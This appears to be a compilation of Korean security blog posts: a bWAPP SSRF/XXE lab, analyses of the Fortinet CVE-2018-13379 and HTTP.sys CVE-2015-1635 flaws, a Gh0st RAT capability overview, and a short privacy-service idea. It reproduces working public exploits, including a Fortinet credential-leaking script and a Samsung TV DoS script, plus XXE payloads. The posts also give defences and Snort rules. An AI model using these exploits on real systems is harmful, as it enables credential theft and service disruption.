1. SSRF (Server-Side Request Forgery)

- 서버 측에서 위조된 요청을 보내도록 하여 일반적으로 사용자들이 접근할 수 없었던 내부 자원에 접근하여 악성행위가 가능한 취약점

- 즉, 취약한 서버를 이용하여 공격자가 내부 서버에 원하는 요청을 전송하여 정보를 탈취하는 공격 유형

[사진 1] SSRF 동작 방식

- XSS (Cross-site Scripting) : 공격자가 삽입한 악성 스크립트가 사용자의 PC에서 실행
- CSRF (Cross Site Request Forgery) : 공격자가 삽입한 악성 스크립트가 사용자의 권한으로 서버에서 실행
- SSRF (Server-Side Request Forgery) : 공격자의 조작된 요청을 서버에서 실행

 

2. bWAPP 실습

- bWAPP의 SSRF에서는 3가지 유형에 대해 실습이 가능함

[사진 2] bWAPP SSRF

- 각 공격에 사용되는 파일은 3가지가 있으며, [사진 2]와 순서대로 대응

[사진 3] 시나리오 파일

2.1 RFI를 이용한 Port scan

- ssrf-1.txt 파일 이용

- fsockopen은 소켓 오픈 여부를 확인하는 PHP 함수로, 해당 파일은 ip 매개변수로 받은 IP에서 Open된 Port를 조회하는 파일임

echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";

if(isset($_REQUEST["ip"]))
{
    
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
    
    $results = array();
    
    foreach($ports as $port)
    {

        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
        {

            $results[$port] = true;
            fclose($pf);
            
        }
        
        else
        {

            $results[$port] = false;        

        }

    }
 
    foreach($results as $port=>$val)
    {

        $prot = getservbyport($port,"tcp");
        echo "Port $port ($prot): ";

        if($val)
        {

            echo "<span style=\"color:green\">OK</span><br/>";

        }

        else
        {

            echo "<span style=\"color:red\">Inaccessible</span><br/>";

        }

    }

}
?>

 

- Remote & Local File Inclusion (RFL/LFI)로 이동 후 Go를 클릭하면 URL이 다음과 같이 변경

[사진 4] RFI

http://192.168.56.109/bWAPP/rlfi.php?language=lang_en.php&action=go

- ssrf-1.txt에서 ip 매개변수가 필요한 것을 확인하였으므로, URL을 변경

① ssrf-1.txt 파일의 경로를 language 매개변수에 전달 > 포트스캔 수행

② ip 매개변수에 127.0.0.1 전달 > 루프백(자기자신=서버)

http://192.168.56.109/bWAPP/rlfi.php?language=http://192.168.56.109/evil/ssrf-1.txt&action=go&ip=127.0.0.1

- 위 URL로 요청을 전송 시 bWAPP서버에대한 포트 스캔 결과가 확인됨

[사진 5] 포트 스캔 결과

2.2 XXE를 이용한 내부망 자원 접근

- ssrf-2.txt 파일 내용 확인

# Accesses a file on the internal network (1)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>


# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

 

2.2.1 Accesses a file on the internal network (1)

- SQL Injection - Stored (XML) 이동 및 프록시 설정 후 버프슈트 실행

[사진 6] SQL Injection XML

- [사진 6]에서 Any bugs? > 버프슈트 Send to Repeater > 내용 작성 > Send

- 해당 요청의 결과로 bWAPP서버에 설정된 robots.txt 파일의 내용이 노출됨

[사진 7] robots.txt 파일 노출

2.2 Accesses a file on the internal network (2)

- [사진 6]에서 Any bugs? > 버프슈트 Send to Repeater > 내용 작성 > Send

[사진 8] 200 OK

- [사진 8]에서 확인된 응답을 버프슈트의 Decoder에서 based64로 디코딩한 결과 /bWAPP/passwords/heroes.xml 파일의 내용이 노출됨

[사진 9] based64 디코딩

<?xml version="1.0" encoding="UTF-8"?>
<heroes>
	<hero>
		<id>1</id>
		<login>neo</login>
		<password>trinity</password>
		<secret>Oh why didn't I took that BLACK pill?</secret>
		<movie>The Matrix</movie>
		<genre>action sci-fi</genre>
	</hero>
	<hero>
		<id>2</id>
		<login>alice</login>
		<password>loveZombies</password>
		<secret>There's a cure!</secret>
		<movie>Resident Evil</movie>
		<genre>action horror sci-fi</genre>
	</hero>
	<hero>
		<id>3</id>
		<login>thor</login>
		<password>Asgard</password>
		<secret>Oh, no... this is Earth... isn't it?</secret>
		<movie>Thor</movie>
		<genre>action sci-fi</genre>
	</hero>
	<hero>
		<id>4</id>
		<login>wolverine</login>
		<password>Log@N</password>
		<secret>What's a Magneto?</secret>
		<movie>X-Men</movie>
		<genre>action sci-fi</genre>
	</hero>
	<hero>
		<id>5</id>
		<login>johnny</login>
		<password>m3ph1st0ph3l3s</password>
		<secret>I'm the Ghost Rider!</secret>
		<movie>Ghost Rider</movie>
		<genre>action sci-fi</genre>
	</hero>
	<hero>
		<id>6</id>
		<login>selene</login>
		<password>m00n</password>
		<secret>It wasn't the Lycans. It was you.</secret>
		<movie>Underworld</movie>
		<genre>action horror sci-fi</genre>
	</hero>
</heroes>

 

2.3 XXE를 이용한 삼성 스마트 TV 공격 (CVE-2013-4890)

- CVE-2013-4890는 Samsung PS50C7700 TV의 DMCRUIS/0.1 웹 서버에 GET 요청으로 A를 300개 설정 후 TCP/5600으로 전송하면 서비스가 중지되는 취약점

[사진 10] https://nvd.nist.gov/vuln/detail/CVE-2013-4890

- ssrf-3.txt 파일 내용

# Crashes my Samsung SmartTV (CVE-2013-4890) ;)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://[IP]:5600/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

 

- 공개된 PoC를 확인해보면, 취약한 삼성 스마트 TV에 A를 300개로 설정 및 TCP/5600로 요청을 전송하는 것을 확인할 수 있음

#!/usr/bin/python

# Exploit Title: Samsung TV Denial of Service (DoS) Attack
# Date: 07/21/2013
# Exploit Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com
# CVE Number: CVE-2013-4890
# Vendor Homepage: http://www.samsung.com
# Description: Resets some Samsung TVs
#   The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long HTTP GET request
#   Tested successfully on my Samsung PS50C7700 plasma TV :)
 
import httplib
import sys
import os

print "  ***************************************************************************************"
print "   Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com\n"
print "   Exploit: Denial of Service (DoS) attack\n"
print "   Description: Resets some Samsung TVs\n"
print "     The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long request."
print "     Tested successfully on my Samsung PS50C7700 plasma TV :)\n"
print "  ***************************************************************************************\n"

# Sends the payload
print "  Sending the malicious payload...\n"
conn = httplib.HTTPConnection(sys.argv[1],5600)
conn.request("GET", "A"*300)
conn.close()

# Checks the response
print "  Checking the status... (CTRL+Z to stop)\n"
response = 0
while response == 0:
  response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
  if response != 0:
    print "  Target down!\n"

 

- 공격 시연 YouTebe

https://www.youtube.com/watch?v=U-R2epNnUiM

 

3. 대응방안

① 입력값 필터링

- 서버 내부에서 접근해선 안 되는 값들을 필터링하거나 127.0.0.1, localhost, 사설 IP 대역 등을 블랙리스트필터링
- 허용된 도메인과 URL에 대해서만 접근 가능하도록 입력값을 화이트리스트 방식으로 필터링

- 우회 가능한 값들도 같이 필터링

 

② 중요한 정보가 포함된 경우 추가 인증을 적용

 

③ 중요한 정보가 포함된 서버 등을 분리

1. Fortinet SSL VPN

- Fortinet : 보안 솔루션을 개발 및 판매하는 다국적 기업

- SSL VPN : SSL(Secure Socket Layer) 기술을 사용한 VPN 솔루션으로 웹 서버와 클라이언트간의 안전한 통신을 위해 보안을 제공하는 프로토콜

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2018-13379

- Fortinet 제품에서 입렵값에 대한 검증을 적절히 수행하지 않아 특정 경로, 파일에 접근 가능한 취약점

- 취약점이 발생하는 제품 및 버전은 다음과 같으며, SSL VPN이 활성화된 경우에만 영향을 받음

제조사 제품 버전
Fortinet FortiOS 6.0.0 ~ 6.0.4
5.6.3 ~ 5.6.7
5.4.6 ~ 5.4.12
FortiProxy 2.0.0
1.2.0 ~ 1.2.8
1.1.0 ~ 1.1.6
1.0.0 ~ 1.0.7

 

2.1 분석

- “/remote/fgt_lang?”페이지 호출 시 lang 매개변수의 필터링을 제대로 수행하지 못해 발생하는 취약점

- 공격자는 lang 매개변수에 디렉터리 이동문자 "../"를 이용해 sslvpn_websession 등의 파일에 접근

- sslvpn_websession : 로그인 자격증명이 저장된 파일

Payload : Target IP/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession

 

[사진 1] KISA 2021년 상반기 사이버 위협 동향 보고서.pdf 발췌

 

- [사진 1]의 요청을 통해 공격자에게 사용자의 ID/Password가 노출되며, 해당 계정정보를 통해 로그인이 가능

[사진 2] sslvpn_websession 파일 내용 노출 (ID/Password 유출)

2.2 PoC

- /remote/fgt_lang 페이지의 lang 매개변수에 ../를 삽입해 특정 경로, 파일 등에 접근

# Exploit Title: Fortinet FortiOS Leak file - Reading login/passwords in clear text.
# Google Dork: intext:"Please Login" inurl:"/remote/login"
# Date: 17/08/2019
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://www.fortinet.com/
# Software Link: https://www.fortinet.com/products/fortigate/fortios.html
# Version: This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
# Tested on: 5.6.6
# CVE : CVE-2018-13379

# Exploit SSLVPN Fortinet - FortiOs
#!/usr/bin/env python
import requests, sys, time
import urllib3
urllib3.disable_warnings()


def leak(host, port):
	print("[!] Leak information...")
	try:
		url = "https://"+host+":"+port+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
		headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}		
		r=requests.get(url, headers=headers, verify=False, stream=True)
		img=r.raw.read()
		if "var fgt_lang =" in str(img):
			with open("sslvpn_websession_"+host+".dat", 'w') as f:
				f.write(img)		
			print("[>] Save to file ....")
			parse(host)
			print("\n")
			return True
		else:
			return False
	except requests.exceptions.ConnectionError:
		return False
def is_character_printable(s):
	return all((ord(c) < 127) and (ord(c) >= 32) for c in s)

def is_printable(byte):
	if is_character_printable(byte):
    		return byte
  	else:
    		return '.' 

def read_bytes(host, chunksize=8192):
	print("[>] Read bytes from > " + "sslvpn_websession"+host+".dat")
	with open("sslvpn_websession_"+host+".dat", "rb") as f:
    		while True:
        		chunk = f.read(chunksize)
        		if chunk:
          			for b in chunk:
            				yield b
        		else:
          			break
def parse(host):
    print("[!] Parsing Information...")
    memory_address = 0
    ascii_string = ""
    for byte in read_bytes(host):
    	ascii_string = ascii_string + is_printable(byte)
	if memory_address%61 == 60:
		if ascii_string!=".............................................................":
	    		print ascii_string
	    	ascii_string = ""
	memory_address = memory_address + 1

def check(host, port):
    print("[!] Check vuln...")
    uri = "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
    try:
        r = requests.get("https://" + host + ":" + port + uri, verify=False)
        if(r.status_code == 200):
            return True
        elif(r.status_code == 404):
            return False
        else:
            return False
    except:
        return False
def main(host, port):
    print("[+] Start exploiting....")
    vuln = check(host, port)
    if(vuln):
        print("[+] Target is vulnerable!")
        bin_file = leak(host, port)
    else:
        print("[X] Target not vulnerable.")

if __name__ == "__main__":

    if(len(sys.argv) < 3):
        print("Use: python {} ip/dns port".format(sys.argv[0]))
    else:
        host = sys.argv[1]
        port = sys.argv[2]
        main(host, port)

 

3. 대응

3.1 서버측면

① 취약점 패치 적용

- Fortinet은 취약점 패치 적용 전까지 SSL-VPN을 사용하지 않을것을 권고

 

② 비밀번호 변경

- 이미 취약점에 노출되어 계정정보가 유출되었을 가능성이 있으므로 계정정보를 변경

 

③ MFA 적용

- 계정 외에도 인증할 수 있는 추가 수단을 적용하여 MFA 구현

 

3.2 네트워크 측면

① 탐지 룰 적용 및 모니터링, 차단

- 공개된 PoC를 통해 /remote/fgt_lang?lang 이하의 URL로 접근이 확인되므로 해당 문자열을 탐지

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"FortiOS SSL VPN Directory Traversal";content:"/remote/fgt_lang?lang";)

 

4. 참고

- https://www.fortiguard.com/psirt/FG-IR-18-384

- https://www.boho.or.kr/data/secNoticeList.do?page=1&sort_code=&sort_code_name=&search_sort=display_contents&search_word=CVE-2018-13379 

- https://krcert.or.kr/data/reportView.do?bulletin_writing_sequence=36146 

- https://www.codetd.com/ko/article/7028571

1. HTTP.sys

- w3wp.exe라는 IIS worker process와 Client 사이의 중간자 역할

- Client로부터 요청을 받아 w3wp.exe에 전달해주며, w3wp.exe가 처리한 결과를 받아 다시 Client에 전달

[사진 1] HTTP.sys

2. 취약점

[사진 2]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2015-1635

- HTTP 요청에서 패킷 사이즈를 변경하여 정수 오버플로를 발생시켜 서버에 BSOD(Blue Screen Of Death)를 유발하거나, 임의의 명령을 수행할 수 있는 취약점

취약한 버전
- Microsoft Windows 7 SP1
- Windows 8
- Windows 8.1
- Windows Server 2012 Gold 및 R2
- Windows Server 2008 R2 SP1

 

2.1 취약점 분석

- HTTP.sys의 주요 함수

함수명 설명
UlpParseRange - Client 요청 패킷을 처음 처리하는 함수
- 동일한 요청에 대해서는 웹 서버에서 캐쉬된 Content를 사용해 속도를 높임
UlPrepareCacheMissRangeResponse - Client에서 처음 요청 했을 때 Response 처리 해주는 함수
UlAdjustRangesToContentSize - 요청 받은 range와 파일 size를 비교 및 체크를 수행하는 함수
UlpBuildCacheEntry - 동일한 요청을 받은 경우 웹 서버 성능 향상을 위한 캐시함수
UlBuildFastRangeCacheMdlChain - _imp__IoBuildPartialMdl 호출
_imp__IoBuildPartialMdl - UlBuildFastRangeCacheMdlChain 함수의 return 값 만큼 메모리 할당

 

- 취약점이 발생하는 함수는 UlAdjustRangesToContentSize()로 다음 식을 이용해 요청 받은 파일 사이즈를 처리

// Security Check 함수
// 실제 파일 사이즈보다 작은지 검증
// Range High + 1 값이 요청받은 파일 사이즈보다 작을 경우 Security Check OK
Range Low + (Range High - Range Low + 1)   ->   Range High + 1

// 할당 받는 메모리 크기
Return Value = Range High - Range Low + 1

 

- 정상적인 요청의 경우와 조작된 요청을 비교하면 다음과 같음 (Range 값 중 18은 0보다 큰 임의의 큰 값을 선택한 것)

정상적인 요청 조작된 요청
GET /hello.png HTTP/1.1
Range: 18-1365
hello.png FileSize : 184946
GET /hello.png HTTP/1.1
Range: 18-18446744073709551615
hello.png FileSize : 184946
Range High + 1 < File Size (Security Check 수행)
- 1365+1 = 1366 < 184946 // Security Check OK
② Range High - Range Low + 1 Retutn(할당 받는 메모리 크기)
- 1365-18+1 = 1348
③ _imp__IoBuildPartialMdl 메모리 할당
- 1348 만큼의 메모리 할당
 Range High + 1 < File Size (Security Check 수행)
- 18446744073709551615+1 < 184946
- 18446744073709551615는 16진수로 0xFFFFFFFFFFFFFFFF
- 64bit 이상 표현할 수 없기 때문에 0x0000000000000000이 됨
- 0 < 184946 이므로 Security Check OK
 Range High - Range Low + 1 Retutn(할당 받는 메모리 크기)
- 18446744073709551615-18+1 = 0xFFFFFFFFFFFFFFEE
 _imp__IoBuildPartialMdl 메모리 할당
0xFFFFFFFFFFFFFFEE 만큼의 메모리 할당

 

[사진 3] 조작된 요청 동작 요약

 

- 위 표 및 사진에 따라, _imp__IoBuildPartialMdl에 의해 0xFFFFFFFFFFFFFFEE 만큼의 메모리를 받아오는 과정에서 BSOD가 발생

 

2.2 취약점 상세

- 취약 서버 구성

[사진 5] 취약 서버 구동(좌) 및 정상 접근 확인(우)

- Range 헤더 조작 후 요청 전송

[사진 6] 조작된 요청 전송

- BSOD 발생 확인

[사진 7] BSOD 발생

- 해당 패킷을 와이어샤크로 확인하면 다음과 같음

[사진 8] 와이어샤크

2.3 PoC

- 공개된 PoC를 확인해 보면 Range 헤더를 조작하는 것을 알 수 있음

/*
 UNTESTED - MS15-034 Checker
  
 THE BUG:

	8a8b2112 56              push    esi
	8a8b2113 6a00            push    0
	8a8b2115 2bc7            sub     eax,edi
	8a8b2117 6a01            push    1
	8a8b2119 1bca            sbb     ecx,edx
	8a8b211b 51              push    ecx
	8a8b211c 50              push    eax
	8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here

	ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4

	BY: john.b.hale@gmai.com
	Twitter: @rhcp011235
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 

int connect_to_server(char *ip)
{
	int sockfd = 0, n = 0;

	 struct sockaddr_in serv_addr;
	 struct hostent *server;

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    	{
        	printf("\n Error : Could not create socket \n");
        	return 1;
    	}

	memset(&serv_addr, '0', sizeof(serv_addr));
	serv_addr.sin_family = AF_INET;
    	serv_addr.sin_port = htons(80);
	if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
    	{
        	printf("\n inet_pton error occured\n");
        	return 1;
    	}
	if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
    	{
       		printf("\n Error : Connect Failed \n");
      		return 1;
    	} 

	return sockfd;
}
	

int main(int argc, char *argv[])
{
    int n = 0;
    int sockfd;
    char recvBuff[1024];

    // Check server
    char request[] = "GET / HTTP/1.0\r\n\r\n";

    // our evil buffer
    char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";


    if(argc != 2)
    {
        printf("\n Usage: %s <ip of server> \n",argv[0]);
        return 1;
    } 

    printf("[*] Audit Started\n");
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request, strlen(request)); 
    read(sockfd, recvBuff, sizeof(recvBuff)-1);

    if (!strstr(recvBuff,"Microsoft"))
    {
		printf("[*] NOT IIS\n");
		exit(1);
    }

    sockfd = connect_to_server(argv[1]);
    write(sockfd, request1, strlen(request1));
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
    if (strstr(recvBuff,"Requested Range Not Satisfiable"))
    {
                printf("[!!] Looks VULN\n");
                exit(1);
    } else if(strstr(recvBuff,"The request has an invalid header name")) {
	printf("[*] Looks Patched");
} else
	printf("[*] Unexpected response, cannot discern patch status");
	

		

}

 

3. 대응방안

3.1 서버 측면

① Windows 최신 업데이트 적용

- 패치된 버전에서는 UlpParseRange 함수에 RtlULongLongAdd 함수를 호출하여 Overflow 여부를 확인하도록 함
- Integer Overflow가 발생할 경우 RtlULongLongAdd 함수는 STATUS_INTEGER_OVERFLOW 에러를 리턴

 

3.2 네트워크 측면

① 탐지 룰 등록

- 공개된 PoC를 확인해보면 Range 헤더를 조작하므로 Range 헤더 등을 탐지

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-IIS Microsoft IIS Range header integer overflow attempt"; flow:to_server,established; content:"Range"; nocase; http_header; content:"bytes"; distance:0; nocase; http_header; content:!"|0A|"; within:12; http_header; pcre:"/^Range\s*\x3a\s*bytes\s*\x3d[^\x0a]*?\d{11}/Him"; metadata:policy security-ips drop, service http; reference:bugtraq,74013; reference:cve,2015-1635; reference:url,technet.microsoft.com/en-us/security/bulletin/ms15-034; classtype:attempted-dos; sid:34061; rev:3;)

 

4. 참고

- https://www.sharedit.co.kr/posts/1912

- https://nvd.nist.gov/vuln/detail/CVE-2015-1635

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=22683&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTUtMTYzNQ== 

- https://learn.microsoft.com/ko-kr/security-updates/securitybulletins/2015/ms15-034

- https://www.exploit-db.com/exploits/36773

- https://blog.qualys.com/vulnerabilities-threat-research/2015/04/20/ms15-034-analyze-and-remote-detection

- https://github.com/John-Lin/docker-snort/blob/master/snortrules-snapshot-2972/rules/server-iis.rules

1. 개요

- 중국의 ‘C. Rufus Security Team’에서 개발되었으며 오픈소스로 제작된 원격 제어 악성코드

- 감염에 필요한 악성코드 생성 및 감염PC들의 관리와 공격명령을 통한 악성행위를 수행할 수 있는 해킹도구

- 해커는 자신의 서버로 접속한 좀비PC들에게 간단한 조작으로 DDoS공격, 화면제어, 키로깅, 도청 등 악성행위를 수행

- 소스코드가 공개되어 꾸준하게 버전업이 되고 있으며, 누구나 쉽게 사용할 수 있음

 

2. 분석

2.1 툴

- 먼저 툴은 Connections, Settings, Build 3개의 탭으로 구성

① Connections

- 공격자가 제어 가능한 PC, 즉 좀비 PC 확인 가능

- 공격자가 배포한 파일을 피해자가 실행할 경우 목록에 등록되며 제어가 가능해짐

[사진 1] Connections

기능
파일 관리(F) 화면 제어(C) 키로거(K) 원격 터미널(T)
시스템 관리(M) 실시간 화면(V) 음성 녹음(W) 세션 관리(S)
기타 기능(O) 메모 설정(R) 연결 종료(D)  

 

② Settings

- 공격자 서버, 즉 C2 서버에 대한 설정이 가능

- 해당 탭을 이용해 공격자가 원하는 설정이 가능

- Key Strings는 C2서버 접속을 위한 C2 주소와 포트 번호로 구성된 인코딩 데이터

[사진 2] Settings

Build 

- 공격용 파일, 즉 악성파일을 생성

[사진 3] Build

 

 

2.2 악성행위

① 시스템 정보 수집

- 감염 PC의 프로세스, 열린 창 정보, Dialupass(로그온 세부 정보를 표시) 등 PC 정보를 나타냄

[사진 4] 시스템 정보 수집 일부

② 키로깅

- 사용자가 키보드를 통해 입력한 값을 txt파일로 저장

[사진 5] 키로깅 일부

③ 파일 관리

- 파일 생성, 복사, 삭제, 실행 등 파일 관리 명령 수행

- 감염 PC의 파일을 외부로 유출하거나, 악성파일을 업로드하여 추가 악성코드 다운 가능

[사진 6] 파일 관리 일부

④ 화면 캡쳐

- 감염 PC의 현재 화면을 캡쳐, 전송 등의 명령 수행

[사진 7] 화면 캡쳐 일부

⑤ 주요 기능

기능 설명
스케줄러 및
레지스트리 등록 
- 파일이 실행이 되면 ‘C:\WINDOWS\[임의8자리]’ 경로에 ‘svchsot. exe’를 생성(자기복제)
- C:\WINDOWS\Tasks경로에 At1~24까지 24개의 스케줄러 파일을 생성
- svchsot.exe를 1시간 간격으로 매일 자동실행 하도록 설정
- 부팅시 자동실행을 위해 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN 경로에 svchsot.exe파일 추가
Anti-Virus 종료 - Taskkill명령이나 TerminateProcess()를 이용하여 Anti-Virus프로그램 종료
Guest계정 활성화 및
관리자 그룹 등록
- CMD 명령을 이용하여 윈도우 운영체제에 기본적으로 접근하는 guest계정을 관리자 그룹으로 추가 및 활성화를 통해 감염PC로 접근하기가 쉽도록 설정
화면 및
키보드&마우스를 제어
- 감염된 PC를 공격자가 원격으로 화면 및 키보드&마우스를 원격지에서 조정
음성정보를 녹음 - 감염된 PC에 설치된 마이크를 통해 음성정보를 기록하여 공격자에게 전달
키로그 저장기능 - 감염된 PC에 조작되는 키보드 이벤트를 기록하여 [임의8자리].key로저장한 후 공격자에게 전달
DDoS공격 기능 - 공격자가 지정한 URL로 TCP,UDP, ICMP, SYN등의 DDoS 공격을 수행
추가 다운로드기능 - 공격자는 추가로 악성행위에 필요한 악성코드를 다운로드
모뎀정보 확인 - 감염PC에 모뎀이 설정된 경우 운영체제에 저장된 전화모뎀 설정파일에 접근하여 전화번호 등의 사용자 정보를 획득
웹캠 작동 - 감염PC에 장착된 웹캠이 있을 경우 사용자 동의 없이 웹캠을 작동하여 카메라 화면을 캡쳐

 

3. 대응

① OS, AV 소프트웨어 최신 업데이트 적용 후 악성코드 감염 확인 및 치료 조치

- Gh0st RAT 실행되면 C:\WINDOWS\Tasks 폴더에 At1~At24.job 스케줄러 파일을 생성

[사진 8] KISA 140508_Gh0st_RAT_원격제어_악성코드_유포.pdf 발췌

 

- C:\WINDOWS\[임의8자리] 폴더에 svchsot.exe(복사된 악성코드)파일이 저장

[사진 9] KISA 140508_Gh0st_RAT_원격제어_악성코드_유포.pdf 발췌

 

- HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\Run 경로에 C:\WINDOWS\[임의8자리]\svchsot.exe를 자동실행하도록 추가

[사진 10] KISA 140508_Gh0st_RAT_원격제어_악성코드_유포.pdf 발췌

 

② 패킷 탐지 Snort Rule 등 적용

- C&C에 접속하는 패킷의 내용 중 ‘Gh0st’라는 String값이 포함

[사진 11] KISA 140508_Gh0st_RAT_원격제어_악성코드_유포.pdf 발췌

alert tcp $HOME_NET any -> $EXTERNAL_NET 201 (msg:"Gh0stRAT malware v3.6 June 2015 check-in "; flow:to_server,established; content:"|63 6c 61 72 6b 63 6c 61 72 31|"; depth:10; sid:1; rev:1;)

 

4. 참고

https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=21626 

https://github.com/sin5678/gh0st/tree/master/gh0st

https://github.com/abhinavbom/Snort-Rules/blob/master/malware.rules

https://koreaidc.tistory.com/60

https://www.igloo.co.kr/security-information/%EC%9B%90%EA%B2%A9-%EC%A0%91%EC%86%8D-%EB%8F%84%EA%B5%ACrat%EC%9D%98-%EB%91%90-%EC%96%BC%EA%B5%B4/

 

초기 목적은 부족하지만 직접 빌드를 수행하고, 실행해 보면서 확인해 보려 했습니다.

하지만 기술과 능력의 부족으로 그러지 못했고, 소스코드를 확인해 보면서 추측과 구글링으로 작성하였습니다.

많이 부족하며, 부정확하고, 잘못된 정보가 많을 수 있습니다.

더 노력하여 다음에는 더 나은 게시글을 작성하도록 하겠습니다.

감사합니다.

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
C2aaS(C2-as-a-Service)  (0) 2022.11.19
IoT Mirai 악성코드 분석  (0) 2022.11.11

[사진 1] http://spectory.net/kisa/legality/2022/1

1. 아이디어

[사진 2] 흐름도

- 개인정보 제공 서비스 및 기간 조회
- 개인정보를 제공한 서비스를 시각화하여 사용자들의 개인정보 자기결정권 보장

 

2. 필요성

- 플랫폼 다양화 > 서비스 다양화
- 자주 사용하지 않는 서비스 > 제공한 개인정보의 항목 & 제공한 사실 망각
- 사용자는 개인정보가 유출되었는지에 대해서도 인지하지 못함

- 기업은 사용자들의 개인정보를 보호하기 위해 다양한 솔루션들을 검토&도입 > 최근 증가한 사회공학적 해킹 기법으로 기술적 보안 솔루션의 한계
- 사회공학적 기법 등으로 해킹한 개인정보 > 부당 이득 or 2차피해 有

- 따라서 기업의 보안 솔루션 이전에, 사용자에게 보다 객관적인 정보를 제공 必

 

3. 특징

① 개인정보 자기결정권 행사

- 주체의 요구가 있을 경우에만 개인정보 자기결정권에 따라 정보주체의 권리를 보장 > 서비스 사용 빈도별 관심 차이 발생 > 개인정보 자기결정권을 행사할 수 없음
- 관련된 정보(제공한 개인정보 항목 및 서비스 등)를 하나로 통합해 시각화 > 사용중인 서비스 파악 > 제공, 열람, 정지, 정정, 삭제 등 개인정보 자기결정권 보다 정확히 행사

 

② 제3자 제공 데이터 파악

- 개인정보보호법 제17조(개인정보의 제공)에 따라 제3자에게 개인정보를 제공할 시 개인정보의 분산 저장방식이 문제가 발생할 수 있음 > 시각화 데이터를 사용해 관련 정보 파악

 

③ 기타

- 하나의 기업에서 제공하는 다수 서비스 이용 > 트리구조 or 디렉터리 구조로 표현

